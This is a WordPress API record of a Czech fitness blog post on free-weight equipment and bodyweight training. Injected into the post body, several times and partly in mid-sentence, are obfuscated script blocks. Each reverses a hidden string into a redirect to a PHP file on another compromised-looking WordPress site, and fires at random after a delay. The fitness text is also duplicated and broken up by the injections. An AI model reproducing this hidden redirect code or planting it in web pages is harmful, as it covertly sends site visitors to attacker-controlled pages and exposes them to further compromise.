$Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovat t\u00edm, \u017ee nic jin\u00e9ho v tr\u00e9ninku vlastn\u011b nepot\u0159ebujete. D\u0159epy, shyby, kliky, \u0161plh na lan\u011b, v\u00fdskoky na box a \u0159ada dal\u0161\u00edch, p\u0159ev\u00e1\u017en\u011b plyometrick\u00fdch cvik\u016f, se daj\u00ed prov\u00e1d\u011bt pouze s v\u00e1hou vlastn\u00edho t\u011bla. P\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom jde o cviky zapojuj\u00edc\u00ed sou\u010dasn\u011b n\u011bkolik velk\u00fdch svalov\u00fdch parti\u00ed a spaluj\u00edc\u00ed spousty kalori\u00ed. A sou\u010dasn\u011b se m\u016f\u017ee jednat i o cviky p\u0159ekvapiv\u011b n\u00e1ro\u010dn\u00e9, zejm\u00e9na pro za\u010d\u00e1te\u010dn\u00edky. Ti mus\u00ed n\u011bkter\u00e9 z nich modifikovat, pokro\u010dilej\u0161\u00ed naopak vyu\u017eij\u00ed t\u0159eba TRX, aby s\u00a0n\u00e1ro\u010dnost\u00ed tr\u00e9ninku \u201ekouzlili\u201c podle sv\u00fdch n\u00e1rok\u016f.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nejste si jist\u00ed, jak\u00fd druh voln\u00e9 z\u00e1t\u011b\u017ee zvolit a kdy? Tady je v\u0161echno, co pot\u0159ebujete v\u011bd\u011bt. Ti, kte\u0159\u00ed s posilovac\u00edm tr\u00e9ninkem za\u010d\u00ednaj\u00ed, b\u00fdvaj\u00ed \u010dasto zahlceni vybaven\u00edm posiloven. Kam se pod\u00edvaj\u00ed, tam \u010d\u00edhaj\u00ed stroje a pom\u016fcky, s nimi\u017e si mnohdy nev\u00ed rady. Chce to hlavn\u011b nepropadat panice a dr\u017eet se z\u00e1klad\u016f, co\u017e obvykle znamen\u00e1 \u2013 \u010dinek! JEDNORU\u010cKY Jsou velmi efektivn\u00ed a univerz\u00e1ln\u00ed. Kdybyste si m\u011bli vybrat jednu pom\u016fcku do svoj\u00ed dom\u00e1c\u00ed posilovny, rozhodn\u011b by to m\u011bl b\u00fdt p\u00e1r jednoru\u010dek. Jednoru\u010dky m\u016f\u017eete pou\u017e\u00edt dv\u011b z\u00e1rove\u0148, a nav\u00edc nab\u00edz\u00ed mo\u017enost unilater\u00e1ln\u00edho procvi\u010den\u00ed, kdy se pohybuje pouze jedna strana t\u011bla, co\u017e stroje ani velk\u00e1 \u010dinky zprost\u0159edkovat nemohou. Krom\u011b toho nezapojujete jen prim\u00e1rn\u00ed svaly, ale sekund\u00e1rn\u011b pracuj\u00ed tak\u00e9 svaly stabiliza\u010dn\u00ed. Jednoru\u010dn\u00ed \u010dinky m\u016f\u017eete pou\u017e\u00edt k budov\u00e1n\u00ed objemu, s\u00edly i vytrvalosti, plus &#8211; s ohledem na charakter tr\u00e9ninku &#8211; tak\u00e9 ke spalov\u00e1n\u00ed tuk\u016f. VELK\u00c9 \u010cINKY Z\u00e1kladn\u00ed vybaven\u00ed ka\u017ed\u00e9 posilovny. Velk\u00e1 \u010dinka je excelentn\u00ed pom\u016fckou, kterou uv\u00edt\u00e1te v ka\u017ed\u00e9m posilovac\u00edm tr\u00e9ninku. Standardn\u00ed velk\u00e1 ty\u010d v\u00e1\u017e\u00ed 20 kg a m\u016f\u017eete na ni nakl\u00e1dat kotou\u010de r\u016fzn\u00e9 v\u00e1hy, kter\u00e9 zajist\u00edte zar\u00e1\u017ekou. Podobn\u011b jako jednoru\u010dky, jsou i velk\u00e9 \u010dinky velmi univerz\u00e1ln\u00ed a m\u016f\u017eete je vyu\u017e\u00edt k procvi\u010den\u00ed prakticky ka\u017ed\u00e9 velk\u00e9 svalov\u00e9 partie sv\u00e9ho t\u011bla. Umo\u017en\u00ed v\u00e1m cvi\u010dit s vy\u0161\u0161\u00ed v\u00e1hou, ne\u017e jakou zvl\u00e1dnete s jednoru\u010dkami. Jsou skv\u011bl\u00e9 k budov\u00e1n\u00ed s\u00edly i objemu. KETTLEBELLS Byly prvn\u011b vyu\u017eity v 18. stolet\u00ed rusk\u00fdmi sil\u00e1ky. Tenkr\u00e1t vypadaly jako d\u011blov\u00e9 koule s madlem. A podobn\u011b jako jednoru\u010dky se vyr\u00e1b\u011bly v r\u016fzn\u00fdch velikostech. Jedn\u00e1 se o u\u017eite\u010dnou pom\u016fcku ke zvl\u00e1dnut\u00ed funk\u010dn\u00edho tr\u00e9ninku, kter\u00e1 v\u00e1m umo\u017en\u00ed stimulovat celou \u0159adu svalov\u00fdch skupin sou\u010dasn\u011b p\u0159i cvic\u00edch, jako jsou \u0161vihy, trh nebo p\u0159en\u00e1\u0161en\u00ed. Jsou zna\u010dnou v\u00fdzvou pro s\u00edlu va\u0161eho \u00fachopu a svaly jsou d\u00edky nim aktivov\u00e1ny trochu jin\u00fdm zp\u016fsobem, proto\u017ee v\u00e1ha \u010dinky nen\u00ed vyv\u00e1\u017eena vn\u011b ruky, jako kdy\u017e dr\u017e\u00edte jednoru\u010dku. Proto p\u0159i cvi\u010den\u00ed s nimi p\u0159ich\u00e1z\u00ed ve velk\u00e9 m\u00ed\u0159e ke slovu svaly trupu. Proveden\u00e9 v\u00fdzkumy prok\u00e1zaly, \u017ee u testovan\u00fdch sportovc\u016f se s\u00edla trupu zv\u00fd\u0161ila a\u017e o 70 %, kdy\u017e pou\u017e\u00edvali v tr\u00e9ninku kettlebell \u010dinky. Sou\u010dasn\u011b maj\u00ed tyto \u010dinky zna\u010dn\u00fd vliv na rovnov\u00e1hu, mno\u017estv\u00ed t\u011blesn\u00e9ho tuku, aerobn\u00ed kapacitu a celkovou s\u00edlu. MEDICINBAL Modern\u00ed medicinbaly vypadaj\u00ed r\u016fzn\u011b. Mohou b\u00fdt v\u011bt\u0161\u00ed \u010di men\u0161\u00ed, m\u011bk\u010d\u00ed nebo tvrd\u0161\u00ed. Ka\u017edop\u00e1dn\u011b jde o velmi zda\u0159il\u00e9 pom\u016fcky pro funk\u010dn\u00ed tr\u00e9nink. Nejenom, \u017ee buduj\u00ed svaly a vytrvalost, ale zlep\u0161\u00ed va\u0161i koordinaci, reaktivitu a explozivitu pohybu. Medicinbaly jsou k dispozici v r\u016fzn\u00fdch hmotnostech, li\u0161\u00ed se jejich reaktivita a v d\u016fsledku toho i vyu\u017eit\u00ed. Ka\u017edop\u00e1dn\u011b m\u00e1 cvi\u010den\u00ed s nimi opravdu zna\u010dn\u00fd vliv na rychlost metabolismu. V\u00c1HA VLASTN\u00cdHO T\u011aLA I va\u0161e t\u011blo je vlastn\u011b takov\u00e1 voln\u00e1 z\u00e1t\u011b\u017e. Jeho pou\u017eit\u00ed v\u00e1s v podstat\u011b nic nestoj\u00ed a p\u0159itom v\u00e1m nab\u00edz\u00ed bezpo\u010det mo\u017enost\u00ed vyu\u017eit\u00ed. Lid\u00e9 budou mo\u017en\u00e1 argumentovat t\u00edm, \u017ee nic jin\u00e9ho v tr\u00e9ninku vlastn\u011b nepot\u0159ebujete. D\u0159epy, shyby, kliky, \u0161plh na lan\u011b, v\u00fdskoky na box a \u0159ada dal\u0161\u00edch, p\u0159ev\u00e1\u017en\u011b plyometrick\u00fdch cvik\u016f, se daj\u00ed prov\u00e1d\u011bt pouze s v\u00e1hou vlastn\u00edho t\u011bla. P\u0159itom jde o cviky zapojuj\u00edc\u00ed sou\u010dasn\u011b n\u011bkolik velk\u00fdch svalov\u00fdch parti\u00ed a spaluj\u00edc\u00ed spousty kalori\u00ed. A sou\u010dasn\u011b se m\u016f\u017ee jednat i o cviky p\u0159ekvapiv\u011b n\u00e1ro\u010dn\u00e9, zejm\u00e9na pro za\u010d\u00e1te\u010dn\u00edky. Ti mus\u00ed n\u011bkter\u00e9 z nich modifikovat, pokro\u010dilej\u0161\u00ed naopak vyu\u017eij\u00ed t\u0159eba TRX, aby s\u00a0n\u00e1ro\u010dnost\u00ed tr\u00e9ninku \u201ekouzlili\u201c podle sv\u00fdch n\u00e1rok\u016f. &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":366,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[33,31,35,20,36,32,34],"class_list":["post-365","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky","tag-cinky","tag-jednorucky","tag-medicinbal","tag-posilovani","tag-rady","tag-velka-cinka","tag-zatez"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/365","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=365"}],"version-history":[{"count":2,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/365\/revisions"}],"predecessor-version":[{"id":371,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/365\/revisions\/371"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/366"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=365"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=365"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=365"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}